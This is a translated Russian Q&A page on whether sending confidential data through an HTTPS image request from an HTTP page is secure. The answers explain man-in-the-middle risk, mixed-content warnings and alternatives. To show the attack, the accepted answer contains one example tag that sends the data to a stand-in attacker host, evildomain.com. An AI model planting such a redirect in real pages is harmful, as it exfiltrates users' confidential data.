Вопрос

У меня есть серверный скрипт, в который мне нужно передать данные из браузера без перезагрузки страницы (он же ajax).Данные конфиденциальны, поэтому их следует отправлять через https.Однако страница находится на уровне http.Из-за того же ограничения домена/протокола браузер не позволяет этого.

Я подумываю немного обмануть систему, динамически создавая теги изображений и вызывая скрипт с использованием тега src, например:

<img src="https://mydomain.com/mysecurescript/&data=to&pass=to&my=script" />

Я хотел бы знать, действительно ли это будет правильно зашифровано.

Это было полезно?

Решение

Проблема в том, что если сама страница использует только HTTP, то вы уязвимы для атаки «человек посередине».Злоумышленник может просто изменить сценарий на странице, отправленной по HTTP, чтобы он вместо этого использовал:

<img src="http://evildomain.com/evilproxyscript/&data=to&pass=to&my=script" />

Пользователь ничего не поймет.Чтобы обойти эту проблему, вам действительно нужно обслуживать страницу и через HTTPS, что в то же время аккуратно решает другую вашу проблему.

(Это та же самая причина, по которой формы входа должны быть на страницах HTTPS, а не просто действие формы должно быть HTTPS).

Другие советы

Да и нет.

Часть URL-адреса, посвященная адресу сервера, очевидно, не зашифрована, поскольку она используется для установки соединения.

Все остальное шифруется при отправке через HTTPS-соединение.Но любой, кто просматривает источник, очевидно, сможет увидеть публикуемые данные.

Также стоит упомянуть, что некоторые браузеры не отображают (или предупреждают пользователя перед отображением) смешанный режим (http vs.https) HTML-страницы.В некоторых случаях это может не сработать, поскольку пользователь решает заблокировать его.

Возможная альтернатива методу изображений (недостаток которого, как упоминалось другими, заключается в том, что некоторые браузеры не очень хорошо относятся к содержимому смешанного режима) может aSSL.

Любой метод приведет к шифрованию, и оба по-прежнему уязвимы для атак типа «человек посередине».

Лицензировано под: CC-BY-SA с атрибуция
Не связан с StackOverflow
scroll top